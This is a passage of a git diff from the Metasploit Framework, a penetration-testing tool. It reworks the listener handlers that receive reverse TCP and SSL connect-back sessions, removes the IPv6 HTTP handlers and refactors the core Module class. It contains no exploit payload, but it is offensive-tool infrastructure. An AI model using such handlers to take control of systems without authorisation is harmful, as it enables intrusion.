[ true, "The local listener port", 8443 ]), + ], Msf::Handler::ReverseHttps) + + register_advanced_options( + [ + OptPath.new('HandlerSSLCert', [false, "Path to a SSL certificate in unified PEM format"]) ], Msf::Handler::ReverseHttps) end diff --git a/lib/msf/core/handler/reverse_https_proxy.rb b/lib/msf/core/handler/reverse_https_proxy.rb index 1cc216f6d6..35e5a40cb7 100644 --- a/lib/msf/core/handler/reverse_https_proxy.rb +++ b/lib/msf/core/handler/reverse_https_proxy.rb @@ -45,7 +45,7 @@ module ReverseHttpsProxy OptEnum.new('PROXY_TYPE', [true, 'Http or Socks4 proxy type', 'HTTP', ['HTTP', 'SOCKS']]), OptString.new('PROXY_USERNAME', [ false, "An optional username for HTTP proxy authentification"]), OptString.new('PROXY_PASSWORD', [ false, "An optional password for HTTP proxy authentification"]) - ], Msf::Handler::ReverseHttpsProxy) + ], Msf::Handler::ReverseHttpsProxy) register_advanced_options( [ diff --git a/lib/msf/core/handler/reverse_ipv6_http.rb b/lib/msf/core/handler/reverse_ipv6_http.rb deleted file mode 100644 index e3861d3b8b..0000000000 --- a/lib/msf/core/handler/reverse_ipv6_http.rb +++ /dev/null @@ -1,34 +0,0 @@ -# -*- coding: binary -*- -require 'msf/core/handler/reverse_http' - -module Msf -module Handler - -### -# -# This handler implements the HTTP tunneling interface. -# -### -module ReverseIPv6Http - - include Msf::Handler::ReverseHttp - - # - # Override the handler_type to indicate IPv6 mode - # - def self.handler_type - return "reverse_ipv6_http" - end - - # - # Returns the connection-described general handler type, in this case - # 'tunnel'. - # - def self.general_handler_type - "tunnel" - end - -end -end -end - diff --git a/lib/msf/core/handler/reverse_ipv6_https.rb b/lib/msf/core/handler/reverse_ipv6_https.rb deleted file mode 100644 index b0c22158e2..0000000000 --- a/lib/msf/core/handler/reverse_ipv6_https.rb +++ /dev/null @@ -1,35 +0,0 @@ -# -*- coding: binary -*- -require 'msf/core/handler/reverse_http' -require 'msf/core/handler/reverse_https' - -module Msf -module Handler - -### -# -# This handler implements the HTTP SSL tunneling interface. -# -### -module ReverseIPv6Https - - include Msf::Handler::ReverseHttps - - # - # Override the handler_type to indicate IPv6 mode - # - def self.handler_type - return "reverse_ipv6_https" - end - - # - # Returns the connection-described general handler type, in this case - # 'tunnel'. - # - def self.general_handler_type - "tunnel" - end - -end -end -end - diff --git a/lib/msf/core/handler/reverse_tcp.rb b/lib/msf/core/handler/reverse_tcp.rb index f40e9531af..f66a947093 100644 --- a/lib/msf/core/handler/reverse_tcp.rb +++ b/lib/msf/core/handler/reverse_tcp.rb @@ -55,11 +55,11 @@ module ReverseTcp OptAddress.new('ReverseListenerBindAddress', [ false, 'The specific IP address to bind to on the local system']), OptInt.new('ReverseListenerBindPort', [ false, 'The port to bind to on the local system if different from LPORT' ]), OptString.new('ReverseListenerComm', [ false, 'The specific communication channel to use for this listener']), - OptBool.new('ReverseAllowProxy', [ true, 'Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST', false]) + OptBool.new('ReverseAllowProxy', [ true, 'Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST', false]), + OptBool.new('ReverseListenerThreaded', [ true, 'Handle every connection in a new thread (experimental)', false]) ], Msf::Handler::ReverseTcp) - - self.handler_queue = ::Queue.new + self.conn_threads = [] end # @@ -69,7 +69,7 @@ module ReverseTcp # def setup_handler if datastore['Proxies'] and not datastore['ReverseAllowProxy'] - raise RuntimeError, 'TCP connect-back payloads cannot be used with Proxies. Can be overriden by setting ReverseAllowProxy to true' + raise RuntimeError, "TCP connect-back payloads cannot be used with Proxies. Use 'set ReverseAllowProxy true' to override this behaviour." end ex = false @@ -124,37 +124,58 @@ module ReverseTcp # def cleanup_handler stop_handler + + # Kill any remaining handle_connection threads that might + # be hanging around + conn_threads.each { |thr| + thr.kill rescue nil + } end # # Starts monitoring for an inbound connection. # def start_handler - local_port = bind_port - self.listener_thread = framework.threads.spawn("ReverseTcpHandlerListener-#{local_port}", false) { - client = nil + queue = ::Queue.new - begin + local_port = bind_port + + self.listener_thread = framework.threads.spawn("ReverseTcpHandlerListener-#{local_port}", false, queue) { |lqueue| + loop do # Accept a client connection begin client = self.listener_sock.accept - rescue - wlog("Exception raised during listener accept: #{$!}\n\n#{$@.join("\n")}") + if ! client + wlog("ReverseTcpHandlerListener-#{local_port}: No client received in call to accept, exiting...") + break + end + + self.pending_connections += 1 + lqueue.push(client) + rescue ::Exception + wlog("ReverseTcpHandlerListener-#{local_port}: Exception raised during listener accept: #{$!}\n\n#{$@.join("\n")}") break end - - # Increment the has connection counter - self.pending_connections += 1 - - self.handler_queue.push( client ) - end while true + end } - self.handler_thread = framework.threads.spawn("ReverseTcpHandlerWorker-#{local_port}", false) { - while true - client = self.handler_queue.pop + self.handler_thread = framework.threads.spawn("ReverseTcpHandlerWorker-#{local_port}", false, queue) { |cqueue| + loop do begin - handle_connection(wrap_aes_socket(client)) + client = cqueue.pop + + if ! client + elog("ReverseTcpHandlerWorker-#{local_port}: Queue returned an empty result, exiting...") + break + end + + if datastore['ReverseListenerThreaded'] + self.conn_threads << framework.threads.spawn("ReverseTcpHandlerSession-#{local_port}-#{client.peerhost}", false, client) { |client_copy| + handle_connection(wrap_aes_socket(client_copy), { datastore: datastore }) + } + else + handle_connection(wrap_aes_socket(client), { datastore: datastore }) + end rescue ::Exception elog("Exception raised from handle_connection: #{$!.class}: #{$!}\n\n#{$@.join("\n")}") end @@ -176,7 +197,7 @@ module ReverseTcp m.reset key = m.digest(datastore["AESPassword"] || "") - Rex::ThreadFactory.spawn('AESEncryption', false) { + Rex::ThreadFactory.spawn('Session-AESEncrypt', false) { c1 = OpenSSL::Cipher.new('aes-128-cfb8') c1.encrypt c1.key=key @@ -189,7 +210,7 @@ module ReverseTcp end sock.close() } - Rex::ThreadFactory.spawn('AESEncryption', false) { + Rex::ThreadFactory.spawn('Session-AESDecrypt', false) { c2 = OpenSSL::Cipher.new('aes-128-cfb8') c2.decrypt c2.key=key @@ -260,7 +281,7 @@ protected attr_accessor :listener_sock # :nodoc: attr_accessor :listener_thread # :nodoc: attr_accessor :handler_thread # :nodoc: - attr_accessor :handler_queue # :nodoc: + attr_accessor :conn_threads # :nodoc: end end diff --git a/lib/msf/core/handler/reverse_tcp_double.rb b/lib/msf/core/handler/reverse_tcp_double.rb index 9a46d74fd4..af0730f3c5 100644 --- a/lib/msf/core/handler/reverse_tcp_double.rb +++ b/lib/msf/core/handler/reverse_tcp_double.rb @@ -83,7 +83,7 @@ module ReverseTcpDouble # Kill any remaining handle_connection threads that might # be hanging around conn_threads.each { |thr| - thr.kill + thr.kill rescue nil } end @@ -105,9 +105,6 @@ module ReverseTcpDouble client_b = self.listener_sock.accept print_status("Accepted the second client connection...") - - sock_inp, sock_out = detect_input_output(client_a, client_b) - rescue wlog("Exception raised during listener accept: #{$!}\n\n#{$@.join("\n")}") return nil @@ -119,10 +116,11 @@ module ReverseTcpDouble # Start a new thread and pass the client connection # as the input and output pipe. Client's are expected # to implement the Stream interface. - conn_threads << framework.threads.spawn("ReverseTcpDoubleHandlerSession", false, sock_inp, sock_out) { | sock_inp_copy, sock_out_copy| + conn_threads << framework.threads.spawn("ReverseTcpDoubleHandlerSession", false, client_a, client_b) { | client_a_copy, client_b_copy| begin - chan = TcpReverseDoubleSessionChannel.new(framework, sock_inp_copy, sock_out_copy) - handle_connection(chan.lsock) + sock_inp, sock_out = detect_input_output(client_a_copy, client_b_copy) + chan = TcpReverseDoubleSessionChannel.new(framework, sock_inp, sock_out) + handle_connection(chan.lsock, { datastore: datastore }) rescue elog("Exception raised from handle_connection: #{$!}\n\n#{$@.join("\n")}") end diff --git a/lib/msf/core/handler/reverse_tcp_double_ssl.rb b/lib/msf/core/handler/reverse_tcp_double_ssl.rb index 873e69c575..d6650f5264 100644 --- a/lib/msf/core/handler/reverse_tcp_double_ssl.rb +++ b/lib/msf/core/handler/reverse_tcp_double_ssl.rb @@ -47,7 +47,10 @@ module ReverseTcpDoubleSSL register_advanced_options( [ - OptBool.new('ReverseAllowProxy', [ true, 'Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST', false]), + OptAddress.new('ReverseListenerBindAddress', [ false, 'The specific IP address to bind to on the local system']), + OptInt.new('ReverseListenerBindPort', [ false, 'The port to bind to on the local system if different from LPORT' ]), + OptBool.new('ReverseAllowProxy', [ true, 'Allow reverse TCP even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST', false]), + OptPath.new('HandlerSSLCert', [false, "Path to a SSL certificate in unified PEM format"]) ], Msf::Handler::ReverseTcpDoubleSSL) self.conn_threads = [] @@ -62,17 +65,54 @@ module ReverseTcpDoubleSSL if datastore['Proxies'] and not datastore['ReverseAllowProxy'] raise RuntimeError, 'TCP connect-back payloads cannot be used with Proxies. Can be overriden by setting ReverseAllowProxy to true' end - self.listener_sock = Rex::Socket::TcpServer.create( - # 'LocalHost' => datastore['LHOST'], - 'LocalPort' => datastore['LPORT'].to_i, - 'Comm' => comm, - 'SSL' => true, - 'Context' => - { - 'Msf' => framework, - 'MsfPayload' => self, - 'MsfExploit' => assoc_exploit - }) + + ex = false + + comm = datastore['ReverseListenerComm'] + if comm.to_s == "local" + comm = ::Rex::Socket::Comm::Local + else + comm = nil + end + + local_port = bind_port + addrs = bind_address + + addrs.each { |ip| + begin + + comm.extend(Rex::Socket::SslTcp) + self.listener_sock = Rex::Socket::SslTcpServer.create( + 'LocalHost' => ip, + 'LocalPort' => local_port, + 'Comm' => comm, + 'SSLCert' => datastore['HandlerSSLCert'], + 'Context' => + { + 'Msf' => framework, + 'MsfPayload' => self, + 'MsfExploit' => assoc_exploit + }) + + ex = false + + comm_used = comm || Rex::Socket::SwitchBoard.best_comm( ip ) + comm_used = Rex::Socket::Comm::Local if comm_used == nil + + if( comm_used.respond_to?( :type ) and comm_used.respond_to?( :sid ) ) + via = "via the #{comm_used.type} on session #{comm_used.sid}" + else + via = "" + end + + print_status("Started reverse double SSL handler on #{ip}:#{local_port} #{via}") + break + rescue + ex = $! + print_error("Handler failed to bind to #{ip}:#{local_port}") + end + } + raise ex if (ex) end # @@ -84,7 +124,7 @@ module ReverseTcpDoubleSSL # Kill any remaining handle_connection threads that might # be hanging around conn_threads.each { |thr| - thr.kill + thr.kill rescue nil } end @@ -106,9 +146,6 @@ module ReverseTcpDoubleSSL client_b = self.listener_sock.accept print_status("Accepted the second client connection...") - - sock_inp, sock_out = detect_input_output(client_a, client_b) - rescue wlog("Exception raised during listener accept: #{$!}\n\n#{$@.join("\n")}") return nil @@ -120,10 +157,11 @@ module ReverseTcpDoubleSSL # Start a new thread and pass the client connection # as the input and output pipe. Client's are expected # to implement the Stream interface. - conn_threads << framework.threads.spawn("ReverseTcpDoubleSSLHandlerSession", false, sock_inp, sock_out) { | sock_inp_copy, sock_out_copy| + conn_threads << framework.threads.spawn("ReverseTcpDoubleSSLHandlerSession", false, client_a, client_b) { | client_a_copy, client_b_copy| begin - chan = TcpReverseDoubleSSLSessionChannel.new(framework, sock_inp_copy, sock_out_copy) - handle_connection(chan.lsock) + sock_inp, sock_out = detect_input_output(client_a_copy, client_b_copy) + chan = TcpReverseDoubleSSLSessionChannel.new(framework, sock_inp, sock_out) + handle_connection(chan.lsock, { datastore: datastore }) rescue elog("Exception raised from handle_connection: #{$!}\n\n#{$@.join("\n")}") end @@ -206,6 +244,31 @@ module ReverseTcpDoubleSSL protected + def bind_port + port = datastore['ReverseListenerBindPort'].to_i + port > 0 ? port : datastore['LPORT'].to_i + end + + def bind_address + # Switch to IPv6 ANY address if the LHOST is also IPv6 + addr = Rex::Socket.resolv_nbo(datastore['LHOST']) + # First attempt to bind LHOST. If that fails, the user probably has + # something else listening on that interface. Try again with ANY_ADDR. + any = (addr.length == 4) ? "0.0.0.0" : "::0" + + addrs = [ Rex::Socket.addr_ntoa(addr), any ] + + if not datastore['ReverseListenerBindAddress'].to_s.empty? + # Only try to bind to this specific interface + addrs = [ datastore['ReverseListenerBindAddress'] ] + + # Pick the right "any" address if either wildcard is used + addrs[0] = any if (addrs[0] == "0.0.0.0" or addrs == "::0") + end + + addrs + end + attr_accessor :listener_sock # :nodoc: attr_accessor :listener_thread # :nodoc: attr_accessor :conn_threads # :nodoc: diff --git a/lib/msf/core/handler/reverse_tcp_ssl.rb b/lib/msf/core/handler/reverse_tcp_ssl.rb index e469054d65..fd23ffb0e3 100644 --- a/lib/msf/core/handler/reverse_tcp_ssl.rb +++ b/lib/msf/core/handler/reverse_tcp_ssl.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- require 'rex/socket' require 'thread' @@ -43,9 +44,7 @@ module ReverseTcpSsl super register_advanced_options( [ - OptPath.new('SSLCert', [ false, 'Path to a custom SSL certificate (default is randomly generated)']), - OptAddress.new('ReverseListenerBindAddress', [ false, 'The specific IP address to bind to on the local system']), - OptInt.new('ReverseListenerBindPort', [ false, 'The port to bind to on the local system if different from LPORT' ]) + OptPath.new('HandlerSSLCert', [false, "Path to a SSL certificate in unified PEM format"]) ], Msf::Handler::ReverseTcpSsl) end @@ -56,8 +55,8 @@ module ReverseTcpSsl # if it fails to start the listener. # def setup_handler - if datastore['Proxies'] - raise RuntimeError, 'TCP connect-back payloads cannot be used with Proxies' + if datastore['Proxies'] and not datastore['ReverseAllowProxy'] + raise RuntimeError, 'TCP connect-back payloads cannot be used with Proxies. Can be overriden by setting ReverseAllowProxy to true' end ex = false @@ -80,7 +79,7 @@ module ReverseTcpSsl 'LocalHost' => ip, 'LocalPort' => local_port, 'Comm' => comm, - 'SSLCert' => datastore['SSLCert'], + 'SSLCert' => datastore['HandlerSSLCert'], 'Context' => { 'Msf' => framework, diff --git a/lib/msf/core/host_state.rb b/lib/msf/core/host_state.rb new file mode 100644 index 0000000000..94527dfd9a --- /dev/null +++ b/lib/msf/core/host_state.rb @@ -0,0 +1,9 @@ +# The states that a host can be in. +module Msf::HostState + # The host is alive. + Alive = "alive" + # The host is dead. + Dead = "down" + # The host state is unknown. + Unknown = "unknown" +end diff --git a/lib/msf/core/module.rb b/lib/msf/core/module.rb index 170f8099dd..e9e7365028 100644 --- a/lib/msf/core/module.rb +++ b/lib/msf/core/module.rb @@ -12,13 +12,50 @@ module Msf # ### class Module + autoload :Arch, 'msf/core/module/arch' + autoload :Author, 'msf/core/module/author' + autoload :AuxiliaryAction, 'msf/core/module/auxiliary_action' + autoload :Compatibility, 'msf/core/module/compatibility' + autoload :DataStore, 'msf/core/module/data_store' + autoload :Deprecated, 'msf/core/module/deprecated' + autoload :Failure, 'msf/core/module/failure' + autoload :FullName, 'msf/core/module/full_name' + autoload :HasActions, 'msf/core/module/has_actions' + autoload :ModuleInfo, 'msf/core/module/module_info' + autoload :ModuleStore, 'msf/core/module/module_store' + autoload :Network, 'msf/core/module/network' + autoload :Options, 'msf/core/module/options' + autoload :Platform, 'msf/core/module/platform' + autoload :PlatformList, 'msf/core/module/platform_list' + autoload :Privileged, 'msf/core/module/privileged' + autoload :Ranking, 'msf/core/module/ranking' + autoload :Reference, 'msf/core/module/reference' + autoload :Search, 'msf/core/module/search' + autoload :SiteReference, 'msf/core/module/reference' + autoload :Target, 'msf/core/module/target' + autoload :Type, 'msf/core/module/type' + autoload :UI, 'msf/core/module/ui' + autoload :UUID, 'msf/core/module/uuid' - # Modules can subscribe to a user-interface, and as such they include the - # UI subscriber module. This provides methods like print, print_line, etc. - # User interfaces are designed to be medium independent, and as such the - # user interface subscribes are designed to provide a flexible way of - # interacting with the user, n stuff. - include Rex::Ui::Subscriber + include Msf::Module::Arch + include Msf::Module::Author + include Msf::Module::Compatibility + include Msf::Module::DataStore + include Msf::Module::FullName + include Msf::Module::ModuleInfo + include Msf::Module::ModuleStore + include Msf::Module::Network + include Msf::Module::Options + include Msf::Module::Privileged + include Msf::Module::Ranking + include Msf::Module::Search + include Msf::Module::Type + include Msf::Module::UI + include Msf::Module::UUID + + # The key where a comma-separated list of Ruby module names will live in the + # datastore, consumed by #replicant to allow clean override of MSF module methods. + REPLICANT_EXTENSION_DS_KEY = 'ReplicantExtensions' # Make include public so we can runtime extend public_class_method :include @@ -26,47 +63,6 @@ class Module class << self include Framework::Offspring - # - # Class method to figure out what type of module this is - # - def type - raise NotImplementedError - end - - def fullname - return type + '/' + refname - end - - def shortname - return refname.split('/')[-1] - end - - # - # Returns this module's ranking. - # - def rank - (const_defined?('Rank')) ? const_get('Rank') : NormalRanking - end - - # - # Returns this module's ranking as a string representation. - # - def rank_to_s - RankingName[rank] - end - - # - # Returns this module's ranking as a string for display. - # - def rank_to_h - rank_to_s.gsub('Rank', '').downcase - end - # - # The module's name that is assigned it it by the framework - # or derived from the path that the module is loaded from. - # - attr_accessor :refname - # # This attribute holds the non-duplicated copy of the module # implementation. This attribute is used for reloading purposes so that @@ -84,7 +80,7 @@ class Module # Returns the class reference to the framework # def framework - return self.class.framework + self.class.framework end # @@ -98,14 +94,6 @@ class Module true end - require 'msf/core/module/author' - require 'msf/core/module/platform_list' - require 'msf/core/module/reference' - require 'msf/core/module/target' - require 'msf/core/module/auxiliary_action' - require 'msf/core/module/has_actions' - require 'msf/core/module/deprecated' - # # Creates an instance of an abstract module using the supplied information # hash. @@ -125,13 +113,13 @@ class Module info_fixups # Transform some of the fields to arrays as necessary - self.author = Author.transform(module_info['Author']) + self.author = Msf::Author.transform(module_info['Author']) self.arch = Rex::Transformer.transform(module_info['Arch'], Array, [ String ], 'Arch') self.platform = PlatformList.transform(module_info['Platform']) self.references = Rex::Transformer.transform(module_info['References'], Array, [ SiteReference, Reference ], 'Ref') # Create and initialize the option container for this module - self.options = OptionContainer.new + self.options = Msf::OptionContainer.new self.options.add_options(info['Options'], self.class) self.options.add_advanced_options(info['AdvancedOptions'], self.class) self.options.add_evasion_options(info['EvasionOptions'], self.class) @@ -158,7 +146,6 @@ class Module # Creates a fresh copy of an instantiated module # def replicant - obj = self.class.new self.instance_variables.each { |k| v = instance_variable_get(k) @@ -170,143 +157,39 @@ class Module obj.user_input = self.user_input obj.user_output = self.user_output obj.module_store = self.module_store.clone + + obj.perform_extensions obj end - # - # Overwrite the Subscriber print_(status|error|good) to do time stamps - # - - def print_prefix - if (datastore['TimestampOutput'] =~ /^(t|y|1)/i) || ( - framework && framework.datastore['TimestampOutput'] =~ /^(t|y|1)/i - ) - prefix = "[#{Time.now.strftime("%Y.%m.%d-%H:%M:%S")}] " - - xn ||= datastore['ExploitNumber'] - xn ||= framework.datastore['ExploitNumber'] - if xn.is_a?(Fixnum) - prefix << "[%04d] " % xn + # Extends self with the constant list in the datastore + # @return [void] + def perform_extensions + if datastore[REPLICANT_EXTENSION_DS_KEY].present? + if datastore[REPLICANT_EXTENSION_DS_KEY].respond_to?(:each) + datastore[REPLICANT_EXTENSION_DS_KEY].each do |const| + self.extend(const) + end + else + fail "Invalid settings in datastore at key #{REPLICANT_EXTENSION_DS_KEY}" end - - return prefix - else - return '' end end - def print_status(msg='') - super(print_prefix + msg) - end - - def print_error(msg='') - super(print_prefix + msg) - end - - def print_good(msg='') - super(print_prefix + msg) - end - - def print_warning(msg='') - super(print_prefix + msg) - end - - - # - # Overwrite the Subscriber print_line to do custom prefixes - # - - def print_line_prefix - datastore['CustomPrintPrefix'] || framework.datastore['CustomPrintPrefix'] || '' - end - - def print_line(msg='') - super(print_line_prefix + msg) - end - - # Verbose version of #print_status - def vprint_status(msg) - print_status(msg) if datastore['VERBOSE'] || framework.datastore['VERBOSE'] - end - # Verbose version of #print_error - def vprint_error(msg) - print_error(msg) if datastore['VERBOSE'] || framework.datastore['VERBOSE'] - end - # Verbose version of #print_good - def vprint_good(msg) - print_good(msg) if datastore['VERBOSE'] || framework.datastore['VERBOSE'] - end - # Verbose version of #print_line - def vprint_line(msg) - print_line(msg) if datastore['VERBOSE'] || framework.datastore['VERBOSE'] - end - # Verbose version of #print_debug - def vprint_debug(msg) - print_debug(msg) if datastore['VERBOSE'] || framework.datastore['VERBOSE'] - end - # Verbose version of #print_warning - def vprint_warning(msg) - print_warning(msg) if datastore['VERBOSE'] || framework.datastore['VERBOSE'] - end - - # - # Returns the module's framework full reference name. This is the - # short name that end-users work with (refname) plus the type - # of module prepended. Ex: - # - # payloads/windows/shell/reverse_tcp - # - def fullname - return self.class.fullname - end - - # - # Returns the module's framework reference name. This is the - # short name that end-users work with. Ex: - # - # windows/shell/reverse_tcp - # - def refname - return self.class.refname - end - - # - # Returns the module's rank. - # - def rank - return self.class.rank - end - - # - # Returns the module's rank in string format. - # - def rank_to_s - return self.class.rank_to_s - end - - # - # Returns the module's rank in display format. - # - def rank_to_h - return self.class.rank_to_h - end - - # - # Returns the module's framework short name. This is a - # possibly conflicting name used for things like console - # prompts. - # - # reverse_tcp - # - def shortname - return self.class.shortname + # @param[Constant] One or more Ruby constants + # @return [void] + def register_extensions(*rb_modules) + datastore[REPLICANT_EXTENSION_DS_KEY] = [] unless datastore[REPLICANT_EXTENSION_DS_KEY].present? + rb_modules.each do |rb_mod| + datastore[REPLICANT_EXTENSION_DS_KEY] << rb_mod unless datastore[REPLICANT_EXTENSION_DS_KEY].include? rb_mod + end end # # Returns the unduplicated class associated with this module. # def orig_cls - return self.class.orig_cls + self.class.orig_cls end # @@ -316,35 +199,6 @@ class Module self.class.file_path end - # - # Return the module's name from the module information hash. - # - def name - module_info['Name'] - end - - # - # Returns the module's alias, if it has one. Otherwise, the module's - # name is returned. - # - def alias - module_info['Alias'] - end - - # - # Return the module's description. - # - def description - module_info['Description'] - end - - # - # Returns the disclosure date, if known. - # - def disclosure_date - date_str = Date.parse(module_info['DisclosureDate'].to_s) rescue nil - end - # # Checks to see if the target is vulnerable, returning unsupported if it's # not supported. @@ -355,43 +209,6 @@ class Module Msf::Exploit::CheckCode::Unsupported end - # - # Returns the hash that describes this module's compatibilities. - # - def compat - module_info['Compat'] || {} - end - - # - # Returns the address of the last target host (rough estimate) - # - def target_host - if(self.respond_to?('rhost')) - return rhost() - end - - if(self.datastore['RHOST']) - return self.datastore['RHOST'] - end - - nil - end - - # - # Returns the address of the last target port (rough estimate) - # - def target_port - if(self.respond_to?('rport')) - return rport() - end - - if(self.datastore['RPORT']) - return self.datastore['RPORT'] - end - - nil - end - # # Returns the current workspace # @@ -432,128 +249,11 @@ class Module self.datastore['ParentUUID'] = ref.uuid.dup end - # - # Returns whether or not this module is compatible with the supplied - # module. - # - def compatible?(mod) - ch = nil - - # Invalid module? Shoot, we can't compare that. - return true if (mod == nil) - - # Determine which hash to used based on the supplied module type - if (mod.type == MODULE_ENCODER) - ch = self.compat['Encoder'] - elsif (mod.type == MODULE_NOP) - ch = self.compat['Nop'] - elsif (mod.type == MODULE_PAYLOAD) - ch = self.compat['Payload'] - if self.respond_to?("target") and self.target and self.target['Payload'] and self.target['Payload']['Compat'] - ch = ch.merge(self.target['Payload']['Compat']) - end - else - return true - end - - # Enumerate each compatibility item in our hash to find out - # if we're compatible with this sucker. - ch.each_pair do |k,v| - - # Get the value of the current key from the module, such as - # the ConnectionType for a stager (ws2ord, for instance). - mval = mod.module_info[k] - - # Reject a filled compat item on one side, but not the other - if (v and not mval) - dlog("Module #{mod.refname} is incompatible with #{self.refname} for #{k}: limiter was #{v}") - return false - end - - # Track how many of our values matched the module - mcnt = 0 - - # Values are whitespace separated - sv = v.split(/\s+/) - mv = mval.split(/\s+/) - - sv.each do |x| - - dlog("Checking compat [#{mod.refname} with #{self.refname}]: #{x} to #{mv.join(", ")}", 'core', LEV_3) - - # Verify that any negate values are not matched - if (x[0,1] == '-' and mv.include?(x[1, x.length-1])) - dlog("Module #{mod.refname} is incompatible with #{self.refname} for #{k}: limiter was #{x}, value was #{mval}", 'core', LEV_1) - return false - end - - mcnt += 1 if mv.include?(x) - end - - # No values matched, reject this module - if (mcnt == 0) - dlog("Module #{mod.refname} is incompatible with #{self.refname} for #{k}: limiter was #{v}, value was #{mval}", 'core', LEV_1) - return false - end - - end - - dlog("Module #{mod.refname} is compatible with #{self.refname}", "core", LEV_1) - - - # If we get here, we're compatible. - return true - end - - # - # Return the module's abstract type. - # - def type - raise NotImplementedError - end - - # - # Return a comma separated list of author for this module. - # - def author_to_s - return author.collect { |author| author.to_s }.join(", ") - end - - # - # Enumerate each author. - # - def each_author(&block) - author.each(&block) - end - - # - # Return a comma separated list of supported architectures, if any. - # - def arch_to_s - return arch.join(", ") - end - - # - # Enumerate each architecture. - # - def each_arch(&block) - arch.each(&block) - end - - # - # Return whether or not the module supports the supplied architecture. - # - def arch?(what) - return true if (what == ARCH_ANY) - - return arch.index(what) != nil - end - # # Return a comma separated list of supported platforms, if any. # def platform_to_s - return ((platform.all?) ? [ "All" ] : platform.names).join(", ") + platform.all? ? "All" : platform.names.join(", ") end # @@ -563,56 +263,6 @@ class Module (platform & what).empty? == false end - # - # Returns whether or not the module requires or grants high privileges. - # - def privileged? - return (privileged == true) - end - - # - # The default communication subsystem for this module. We may need to move - # this somewhere else. - # - def comm - return Rex::Socket::Comm::Local - end - - # - # Overrides the class' own datastore with the one supplied. This is used - # to allow modules to share datastores, such as a payload sharing an - # exploit module's datastore. - # - def share_datastore(ds) - self.datastore = ds - self.datastore.import_options(self.options) - end - - # - # Imports default options into the module's datastore, optionally clearing - # all of the values currently set in the datastore. - # - def import_defaults(clear_datastore = true) - # Clear the datastore if the caller asked us to - self.datastore.clear if clear_datastore - - self.datastore.import_options(self.options, 'self', true) - - # If there are default options, import their values into the datastore - if (module_info['DefaultOptions']) - self.datastore.import_options_from_hash(module_info['DefaultOptions'], true, 'self') - end - end - - # - # This method ensures that the options associated with this module all - # have valid values according to each required option in the option - # container. - # - def validate - self.options.validate(self.datastore) - end - # # Returns true if this module is being debugged. The debug flag is set # by setting datastore['DEBUG'] to 1|true|yes @@ -621,123 +271,6 @@ class Module (datastore['DEBUG'] || '') =~ /^(1|t|y)/i end - # - # Indicates whether the module supports IPv6. This is true by default, - # but certain modules require additional work to be compatible or are - # hardcoded in terms of application support and should be skipped. - # - def support_ipv6? - true - end - - # - # This provides a standard set of search filters for every module. - # The search terms are in the form of: - # { - # "text" => [ [ "include_term1", "include_term2", ...], [ "exclude_term1", "exclude_term2"], ... ], - # "cve" => [ [ "include_term1", "include_term2", ...], [ "exclude_term1", "exclude_term2"], ... ] - # } - # - # Returns true on no match, false on match - # - def search_filter(search_string) - return false if not search_string - - search_string += " " - - # Split search terms by space, but allow quoted strings - terms = search_string.split(/\"/).collect{|t| t.strip==t ? t : t.split(' ')}.flatten - terms.delete('') - - # All terms are either included or excluded - res = {} - - terms.each do |t| - f,v = t.split(":", 2) - if not v - v = f - f = 'text' - end - next if v.length == 0 - f.downcase! - v.downcase! - res[f] ||=[ [], [] ] - if v[0,1] == "-" - next if v.length == 1 - res[f][1] << v[1,v.length-1] - else - res[f][0] << v - end - end - - k = res - - refs = self.references.map{|x| [x.ctx_id, x.ctx_val].join("-") } - is_server = (self.respond_to?(:stance) and self.stance == "aggressive") - is_client = (self.respond_to?(:stance) and self.stance == "passive") - - [0,1].each do |mode| - match = false - k.keys.each do |t| - next if k[t][mode].length == 0 - - k[t][mode].each do |w| - # Reset the match flag for each keyword for inclusive search - match = false if mode == 0 - - # Convert into a case-insensitive regex - r = Regexp.new(Regexp.escape(w), true) - - case t - when 'text' - terms = [self.name, self.fullname, self.description] + refs + self.author.map{|x| x.to_s} - if self.respond_to?(:targets) and self.targets - terms = terms + self.targets.map{|x| x.name} - end - match = [t,w] if terms.any? { |x| x =~ r } - when 'name' - match = [t,w] if self.name =~ r - when 'path' - match = [t,w] if self.fullname =~ r - when 'author' - match = [t,w] if self.author.map{|x| x.to_s}.any? { |a| a =~ r } - when 'os', 'platform' - match = [t,w] if self.platform_to_s =~ r or self.arch_to_s =~ r - if not match and self.respond_to?(:targets) and self.targets - match = [t,w] if self.targets.map{|x| x.name}.any? { |t| t =~ r } - end - when 'port' - match = [t,w] if self.datastore['RPORT'].to_s =~ r - when 'type' - match = [t,w] if Msf::MODULE_TYPES.any? { |modt| w == modt and self.type == modt } - when 'app' - match = [t,w] if (w == "server" and is_server) - match = [t,w] if (w == "client" and is_client) - when 'cve' - match = [t,w] if refs.any? { |ref| ref =~ /^cve\-/i and ref =~ r } - when 'bid' - match = [t,w] if refs.any? { |ref| ref =~ /^bid\-/i and ref =~ r } - when 'osvdb' - match = [t,w] if refs.any? { |ref| ref =~ /^osvdb\-/i and ref =~ r } - when 'edb' - match = [t,w] if refs.any? { |ref| ref =~ /^edb\-/i and ref =~ r } - end - break if match - end - # Filter this module if no matches for a given keyword type - if mode == 0 and not match - return true - end - end - # Filter this module if we matched an exclusion keyword (-value) - if mode == 1 and match - return true - end - end - - false - end - # # Support fail_with for all module types, allow specific classes to override # @@ -745,126 +278,12 @@ class Module raise RuntimeError, "#{reason.to_s}: #{msg}" end - # - # Constants indicating the reason for an unsuccessful module attempt - # - module Failure - - # - # No confidence in success or failure - # - None = 'none' - - # - # No confidence in success or failure - # - Unknown = 'unknown' - - # - # The network service was unreachable (connection refused, etc) - # - Unreachable = 'unreachable' - - # - # The exploit settings were incorrect - # - BadConfig = 'bad-config' - - # - # The network service disconnected us mid-attempt - # - Disconnected = 'disconnected' - - # - # The application endpoint or specific service was not found - # - NotFound = 'not-found' - - # - # The application replied in an unexpected fashion - # - UnexpectedReply = 'unexpected-reply' - - # - # The exploit triggered some form of timeout - # - TimeoutExpired = 'timeout-expired' - - # - # The exploit was interrupted by the user - # - UserInterrupt = 'user-interrupt' - - # - # The application replied indication we do not have access - # - NoAccess = 'no-access' - - # - # The target is not compatible with this exploit or settings - # - NoTarget = 'no-target' - - # - # The application response indicated it was not vulnerable - # - NotVulnerable = 'not-vulnerable' - - # - # The 